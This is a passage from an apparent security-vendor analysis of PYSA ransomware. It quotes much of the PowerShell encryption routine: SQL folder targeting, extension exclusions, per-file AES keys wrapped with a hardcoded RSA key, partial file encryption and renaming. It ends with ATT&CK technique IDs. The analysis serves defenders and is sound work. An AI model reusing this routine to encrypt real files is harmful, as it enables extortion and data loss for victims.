The ransomware includes one exception to the “*Program Files*” directory, targeting folders within the “C:Program Files*SQL*” directory. This is to ensure that SQL databases and other high-value SQL-related files are encrypted.

Get-ChildItem "C:Program Files*" -Force -Recurse -Include "*SQL*" | Where { $_.PSIsContainer } |% { SubSqlItems($_.FullName) };

Once target folders have been enumerated, they are passed to a worker as a job. Each job executes a ScriptBlock that expects two arguments. The first argument is a base64 string of directories to encrypt, delimited by a “|”.

$DVXJwpT = $args[0];
$include_zip = $args[1];
$JLzbvlx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($DVXJwpT));
[array]$target_dirs = $JLzbvlx.split("|");

The second argument is an option to have the ransomware run in a specific mode to target zip files for encryption, which requires the value “1”.

if ($include_zip -eq 1)
    [array]$target_files = Get-ChildItem $qlsL -Force -Include "*.zip" | Where { !$_.PSIsContainer } | Where { $_ };

If this option is not enabled, then the ransomware will iterate through the target directories excluding the following file extensions from the encryption process.

.ax .dll .exe .inc
.lnk .msi .ps1 .README
.search-ms .sys .tlb .zip
[array]$target_files = Get-ChildItem $qlsL -Force -Exclude "*.zip", "*.inc", "*.ax", "*.tlb", "*.msi", "*.lnk", "*.dll", "*.exe", "*.README", "*.redacted", "*.search-ms", "*.ps1", "*.sys" | Where { !$_.PSIsContainer } | Where { $_ };

Once this list of files is generated, each file path is passed to the crypt() function to perform the encryption.

foreach ($target_file in $target_files_list)

Within the crypt() function, a random 32-byte AES key is generated for each individual target file. Along with the key, a random 16 byte initialization vector (IV) is generated using the RNGCryptoServiceProvider class.

$rng_crypto_service_provider = New-Object System.Security.Cryptography.RNGCryptoServiceProvider;
$aes_key = New-Object byte[] 32;
$init_vec = New-Object byte[] 16;

The AES service provider is then instantiated, setting the key and IV to the randomly generated values mentioned previously.

$aes_crypto_service_provider = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$aes_crypto_service_provider.Key = $aes_key;
$aes_crypto_service_provider.IV = $init_vec;
$aes_crypto_service_provider.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;

The RSA service provider is then instantiated using a hardcoded RSA XML string.

$encryptor = $aes_crypto_service_provider.CreateEncryptor();
$rsa_crypto_service_provider = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 4096;
$rsa_crypto_service_provider.PersistKeyInCsp = $false;
$rsa_key_string = "sLdwS+FAAou46fSHkm/5NzsuRy5l5Iqf/+Jy/ZLCbPmrKVvhre0R1no1[...]"

The AES key and IV are both then encrypted with the RSA key.

$qGOTKey = $rsa_crypto_service_provider.Encrypt($aes_key, $false);
$Dbw = $rsa_crypto_service_provider.Encrypt($init_vec, $false);

The ransomware then proceeds to encrypt the contents of the file starting at the offset 1671.

$PBz = 1671;
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
[long]$iGzfUwq = $file_stream.Read($mctMK, 0, $mctMKSize);
$qGOT = $encryptor.TransformFinalBlock($mctMK, 0, $iGzfUwq);
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
$file_stream.Write($qGOT, 0, $iGzfUwq);

Approximately 10% of each file is encrypted, calculated using the following logic.

[long]$mctMKSize = $MZKSize / 10;
if ($mctMKSize -gt 6225920)
    $mctMKSize = 6225920;
    $SZdRf = [math]::floor($mctMKSize / 1024);

    if ($SZdRf -eq 0)
        $SZdRf = 1;
    $mctMKSize = 1024 * $SZdRf;

The encrypted AES key and IV are both written to the end of the newly encrypted file, and the file name is appended with the custom extension chosen by the attacker.

$file_stream.Seek(0, [System.IO.SeekOrigin]::End);
$file_stream.Write($qGOTKey, 0, $qGOTKey.Length);
$file_stream.Write($Dbw, 0, $Dbw.Length);
Rename-Item -Path $file_to_encrypt -NewName "$( $file_to_encrypt ).redacted";

Protecting Against PYSA Ransomware

SentinelOne customers are fully-protected against PYSA ransomware.


PYSA has outlasted some of its contemporaries through careful choice of targets as well as affiliates. Although the group’s TTPs cannot be described as technically advanced, the use of the Chisel tunneling tool and preparation of the target environment via PowerShell scripts is sufficiently novel to be worth documenting. We hope that providing visibility into all the various steps in the attack chain will be helpful for defenders and threat hunters to identify, detect and prevent such attacks.

Indicators of Compromise




T1027.002 – Obfuscated Files or Information: Software Packing
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
TA0010 – Exfiltration
T1082 – System Information Discovery
T1490 – Inhibit System Recovery
T1048.003 – Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage
S0583 – PYSA
S0154 – Cobalt Strike
T1110 – Brute Force
T1562 – Impair Defenses: Disable or Modify Tools
T1070.004 – Indicator Removal on Host: File Deletion
T1036 – Masquerading: Match Legitimate Name or Location
T1112 – Modify Registry
T1046 – Network Service Scanning
T1003.001 – OS Credential Dumping: LSASS Memory
T1021.001 – Remote Service: Remote Desktop Protocol
T1489 – Service Stop
T1016 – System Network Configuration Discovery
T1569.002 – System Services: Service Execution
T1552.001 – Unsecured Credentials: Credentials in Files